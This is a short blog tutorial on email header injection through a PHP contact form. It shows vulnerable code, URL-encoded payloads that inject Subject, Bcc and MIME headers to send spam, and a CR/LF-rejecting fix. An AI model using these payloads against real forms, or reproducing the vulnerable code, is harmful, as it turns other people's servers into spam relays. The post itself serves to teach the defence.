Ron's Brain

Making Spam

Well, now, suppose you have a wacky HTML form that takes some contact info:

<form action="contact.php" method="POST">
    Your E-mail: <input type="text" name="email" /><br />
    Your message:<br />
    <textarea name="message" cols="80" rows="25" wrap="soft"></textarea><br />
    <input type="submit" value="Send message" />
</form>

And "contact.php", which sends a friendly e-mail to someone in charge of the site from the person filling out the form, looked a bit like this:

<?php
if(isset($_POST["email"]) && isset($_POST["message"]))
{
  $headers = "From: " . $_POST["email"] . "\r\n";
  mail("me@myhost.com", "A message for you, jerk!\r\n", $_POST["message"], $headers);
  print "<html><body>Thanks for the e-mail!</body></html>";
}
else
{
  print "<html><body>Your input is invalid!</body></html>";
}
?>

Innocent enough. Fill it out with your e-mail and message, and someone will get it. Basically, this SMTP conversation:

To: me@myhost.com
Subject: A message for you, jerk!
From: someone@anotherhost.com
Hey, fool!  This is not such a secure form!

What? Not such a secure form? Is that correct English, even? Well, what's wrong? This is what. Suppose the e-mail field is filled out with this:

bob@someplace.com%0ASubject:My%20Anonymous%20Subject

Tah-dah! That "%0A" is a carriage return. That's a magic character in SMTP-land.

To: me@myhost.com
Subject: A message for you, jerk!
From: bob@someplace.com
Subject: My Anonymous Subject
Hey, fool!  This is not such a secure form!

Now we have our own "Subject" field, which may be either appended to the regular subject or could even replace it altogether. But wait! There's more!

Jerk@somewhere.org%0ABcc:target1@host1.com

What's this result in?

To: me@myhost.com
Subject: A message for you, jerk!
From: Jerk@somewhere.org
Bcc: target1@host1.com
Hey, fool!  This is not such a secure form!

Yeah, now I think you're starting to see where this isn't cool. Let's look at this:

spammy@spam.sp%0ASubject:Cheap%0ABcc:target1@host1.com%0A
Content-Type:multipart/mixed;%20boundary=spam;%0A--spam%0A
Content-Type:text/html%0A%0ASome%20Message.%0A%0A--spam%0A
Content-Type:text/html;name=spam.html;%0AContent-Transfer-Encoding:8bit%0A
Content-Disposition:attachment%0A%0AHTML%20File%0A%0A--spam--%0A

(Line breaks added for legibility. The entire thing would go in a single line)

Now here's a thing of beauty:

To: me@myhost.com
Subject: A message for you, jerk!
From: spammy@spam.sp
Subject:Cheap
Bcc:target1@host1.com
Content-Type:multipart/mixed; boundary=spam;
--spam
Content-Type:text/html
Some Message.

--spam--
Content-Type:text/html;name=spam.html;
Content-Transfer-Encoding:8bit
Content-Disposition: attachment

HTML File

--spam--

Hey, fool!  This is not such a secure form!

That's right. We just Bcc'd our own custom HTML message to some poor guy using someone else's mail form.

How do you prevent this? Test all fields that should NOT have a carriage return or line feed in them for those characters, and reject if they are present:

<?php 
if(isset($_POST["email"]) && isset($_POST["message"]))
{
  $from = $_POST["email"];
  $from = urldecode($from);
  if (eregi("(\r|\n)", $from))
  {
    die("Go away.");
  }
  $headers = "From: " . $from . "\r\n";
  mail("me@myhost.com", "A message for you, jerk!\r\n", $_POST["message"], $headers);
  print "<html><body>Thanks for the e-mail!</body></html>";
}
else
{
  print "<html><body>Your input is invalid!</body></html>";
}

?>

That's better. Also, Javascript validation will not save you. Anyone can form their own post request and send it to you. Don't count on client side validation, ever.

Any questions?